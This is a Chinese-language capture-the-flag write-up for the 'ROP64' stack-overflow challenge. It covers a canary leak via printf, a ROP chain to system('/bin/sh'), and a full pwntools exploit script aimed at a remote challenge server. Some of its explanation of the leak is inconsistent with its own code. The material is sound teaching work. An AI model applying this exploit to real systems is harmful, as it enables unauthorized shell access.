[!info] 题目信息
名称:ROP64
漏洞类型: 栈溢出 + Canary 绕过 + ROP 链利用
目标: 获取远程服务器 shell
来源:BugKu
所属赛事: moeCTF 2022
文件:pwn. zip
下载:夸克网盘

安全检查(Checksec)

首先使用 checksec 检查二进制文件的安全机制:

checksec pwn

检查结果:

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: Canary found ⚠️ (存在栈保护)
  • NX: NX enabled ⚠️ (堆栈不可执行,需要使用 ROP)
  • PIE: No PIE ✅ (地址固定,便于利用)
  • SHSTK: Enabled
  • IBT: Enabled

关键发现:

  1. 有 Canary 保护:需要先泄露 canary 才能进行栈溢出利用
  2. NX 保护开启:不能直接执行 shellcode,需要使用 ROP 技术
  3. 无 PIE 保护:函数和 gadget 地址固定,便于构造 ROP 链

静态分析

Main 函数伪代码

使用 IDA Pro 进行反汇编分析,得到 main 函数和 vuln 函数的伪代码:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  system("echo Go Go Go!!!\n");
  vuln("echo Go Go Go!!!\n", argv);
  return 0;
}

Vuln 函数伪代码

unsigned __int64 vuln()
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);  // 读取Canary值
  memset(s, 0, sizeof(s));
  read(0, s, 0x30u);          // 第一次读取,最多0x30(48)字节
  printf("%s", s);            // 输出读取的内容
  read(0, s, 0x50u);          // 第二次读取,最多0x50(80)字节 ⚠️ 存在溢出
  return v2 - __readfsqword(0x28u);  // 检查Canary是否被破坏
}

漏洞定位

通过代码分析发现关键问题:

  1. 缓冲区大小char s[40] 只分配了 40 字节(0x28 字节)
  2. 第一次 readread(0, s, 0x30u) 读取 0x30 (48) 字节,虽然超过缓冲区,但会被 printf 输出,可以用于泄露 canary
  3. 第二次 readread(0, s, 0x50u) 读取 0x50 (80) 字节,严重溢出
    • 缓冲区只有 40 字节
    • 但可以写入 80 字节
    • 足以覆盖 canary、RBP 和返回地址

栈布局分析

根据代码中的注释和偏移量分析:

  • 缓冲区 s[40] 起始位置:rbp - 0x30
  • Canary v2 位置:rbp - 0x8

偏移量计算

从缓冲区起始位置到 Canary 位置的距离:

距离 = 高地址 - 低地址
距离 = Canary地址 - 缓冲区起始地址
距离 = (rbp - 0x8) - (rbp - 0x30)
距离 = rbp - 0x8 - rbp + 0x30
距离 = 0x30 - 0x8 = 0x28 (40字节)

因此,需要填充 0x28 (40 字节) 才能到达 Canary 位置。这个值正好等于缓冲区的大小 char s[40]

栈内存布局示意图:

高地址
+------------------+
|   返回地址 (RIP)  |  <- rbp + 0x8
+------------------+
|     旧RBP        |  <- rbp
+------------------+
|     Canary       |  <- rbp - 0x8 (v2变量,8字节)
+------------------+
|   缓冲区[0x28]   |  <- rbp - 0x30 (s数组,40字节)
+------------------+
低地址

第二次 read 时的溢出覆盖

  • 填充 40 字节覆盖整个缓冲区
  • 覆盖 Canary(8 字节)
  • 覆盖旧 RBP(8 字节)
  • 覆盖返回地址(8 字节)← ROP 链起始位置

漏洞分析

栈溢出漏洞

程序在 vuln() 函数中存在明显的栈溢出漏洞:

  1. 第一次 read 溢出

    • 缓冲区 char s[40] 只有 40 字节
    • read(0, s, 0x30u) 读取 48 字节,超出 8 字节
    • 会覆盖到 canary 的一部分(最低字节通常是 \x00
    • printf("%s", s) 会输出整个字符串,包括 canary 的一部分
  2. 第二次 read 溢出

    • read(0, s, 0x50u) 读取 80 字节,严重超出 40 字节缓冲区
    • 可以覆盖:
      • 缓冲区后 8 字节(覆盖 canary 的剩余部分)
      • Canary 值(8 字节)
      • 旧 RBP(8 字节)
      • 返回地址(8 字节)

Canary 保护绕过

由于程序启用了 Canary 保护(__readfsqword(0x28u)),利用过程:

  1. 第一次 read 泄露 Canary

    • 发送 40 字节填充 + 7 字节(覆盖 canary 除了 \x00 的部分)
    • printf("%s", s) 会输出 48 字节,包括 canary 的 7 字节
    • 从输出中提取 canary 值
  2. 第二次 read 构造 ROP 链

    • 使用泄露的 canary 正确覆盖
    • 绕过 canary 检查(v2 - __readfsqword(0x28u) == 0
    • 覆盖返回地址为 ROP 链起始地址

ROP 链构造

由于 NX 保护开启,不能直接执行 shellcode,需要构造 ROP 链调用 system('/bin/sh')

  1. 寻找 pop rdi; ret gadget:设置第一个参数(/bin/sh 字符串地址)
  2. 查找 /bin/sh 字符串:在二进制文件中的地址
  3. 调用 system 函数:地址为 0x401284(通过静态分析获得)

利用思路

攻击流程

根据 vuln() 函数的两次 read 操作,攻击分为两个阶段:

  1. 第一次 read 泄露 Canary

    • read(0, s, 0x30u) 可以读取 48 字节
    • 发送 40 字节填充 + 7 字节(覆盖 canary 的低 7 字节)
    • printf("%s", s) 会输出整个字符串,包括 canary 的 7 字节
    • 由于 canary 最低位是 \x00(字符串结束符),会被自动截断
    • 从输出中提取并补齐 canary 值
  2. 第二次 read 构造 ROP 链

    • read(0, s, 0x50u) 可以读取 80 字节,足以覆盖返回地址
    • 构造 payload:填充(0x28) + Canary + RBP填充(0x8) + pop_rdi_gadget + binsh_addr + system_addr
    • 发送 payload,覆盖返回地址为 ROP 链起始地址
    • 函数返回时执行 system('/bin/sh') 获取 shell

5.2 关键地址获取

使用 pwntools 自动查找:

# 查找pop rdi; ret gadget
rdi = rop.find_gadget(['pop rdi','ret']).address

# 查找/bin/sh字符串
binsh = next(elf.search('/bin/sh'))

# system函数地址(通过静态分析获得)
system_addr = 0x401284

详细利用步骤

6.1 环境准备

from pwn import *

host = '49.232.142.230'
port = 17062
p = remote(host, port)
context.encoding = 'ascii'

elf = ELF('./pwn')
rop = ROP(elf)

泄露 Canary

# 等待程序输出提示信息(main函数中的system("echo Go Go Go!!!\n"))
p.recvuntil('Go!!!\n')

# 计算偏移量:缓冲区大小
offset = 0x30 - 0x8  # 0x28 (40字节)

# 第一次read:发送40字节填充,触发printf输出
payload = b'a' * offset
p.sendline(payload)

# 接收printf的输出
# printf("%s", s)会输出40个'a',遇到canary的\x00截断
p.recvuntil('a\n')

# 接收canary的7字节(最低位\x00已被printf当作字符串结束符)
canary = u64(p.recv(7).rjust(8, b'\0'))  # 补齐为8字节
success('canary ----> %#x', canary)

原理说明

  • read(0, s, 0x30u) 可以读取 48 字节,但我们只发送 40 字节
  • printf("%s", s) 会输出 40 个字符,然后遇到 canary 的 \x00 字节被截断
  • 实际上 canary 的 \x00 后面还有 7 字节数据,通过 p.recv(7) 接收
  • 使用 rjust(8, b'\0') 在低位补齐 \x00,还原完整的 canary值
  • u64() 将字节转换为 64 位整数

构造 ROP 链

# 查找必要的gadget和字符串
rdi = rop.find_gadget(['pop rdi','ret']).address
binsh = next(elf.search('/bin/sh'))

# 第二次read:构造ROP链payload
# read(0, s, 0x50u)可以读取80字节,足以覆盖返回地址
payload2 = (
    b'a' * offset +          # 填充40字节到canary位置
    p64(canary) +            # 正确的canary值(绕过__readfsqword检查)
    b'a' * 8 +               # 覆盖旧RBP(8字节)
    p64(rdi) +               # pop rdi; ret gadget地址
    p64(binsh) +             # /bin/sh字符串地址(rdi参数)
    p64(0x401284)            # system函数地址
)

p.sendline(payload2)  # 触发第二次read,覆盖返回地址

栈布局示意图

+------------------+
|  system(0x401284)|  <- 返回地址被覆盖为system
+------------------+
|  binsh地址       |  <- rdi参数:/bin/sh字符串地址
+------------------+
|  pop_rdi; ret    |  <- gadget地址
+------------------+
|  填充(8字节)     |  <- RBP位置
+------------------+
|  Canary          |  <- 正确的canary值
+------------------+
|  填充(0x28字节)  |  <- 缓冲区
+------------------+

6.4 获取 Shell

p.interactive()

执行流程:

  1. pop rdi; ret 将栈上的 binsh 地址弹出到 rdi 寄存器
  2. ret 返回到 system 函数地址
  3. system(rdi)system('/bin/sh') 被执行
  4. 获得 shell 权限

完整 EXP

from pwn import *

host = '49.232.142.230'
port = 17062

p = remote(host, port)
context.encoding = 'ascii'

elf = ELF('./pwn')
rop = ROP(elf)

offset = 0x30 - 0x8

rdi = rop.find_gadget(['pop rdi','ret']).address
binsh = next(elf.search('/bin/sh'))

p.recvuntil('Go!!!\n')

payload = b'a'*(offset)
p.sendline(payload)

p.recvuntil('a\n')
canary = u64(p.recv(7).rjust(8, b'\0'))

success('canary ----> %#x', canary)

payload2 = b'a'*(offset) + p64(canary) + b'a'*8 + p64(rdi) +p64(binsh) + p64(0x401284)

p.sendline(payload2)

p.interactive()

知识点总结

8.1 漏洞类型

  • 栈缓冲区溢出:输入超出缓冲区边界,覆盖栈上数据

8.2 安全机制绕过

  • Canary 绕过:通过部分覆盖触发输出,泄露 canary 值
  • NX 绕过:使用 ROP 技术,不执行 shellcode 而是重用已有代码

8.3 利用技术

  • ROP(Return-Oriented Programming):通过控制返回地址,跳转到 gadget 链执行特定操作
  • 64 位调用约定:使用 rdi 寄存器传递第一个参数

8.4 工具使用

  • pwntools:自动化漏洞利用工具
  • IDA Pro/Ghidra:静态分析工具
  • checksec:安全检查工具

防护建议

  1. 输入验证:对用户输入进行严格的边界检查
  2. 使用安全的输入函数:使用 fgets 替代 gets,使用 strncpy 替代 strcpy
  3. 编译器保护:确保启用所有安全编译选项(Canary、NX、PIE 等)
  4. 代码审计:定期进行安全代码审查,查找潜在的缓冲区溢出漏洞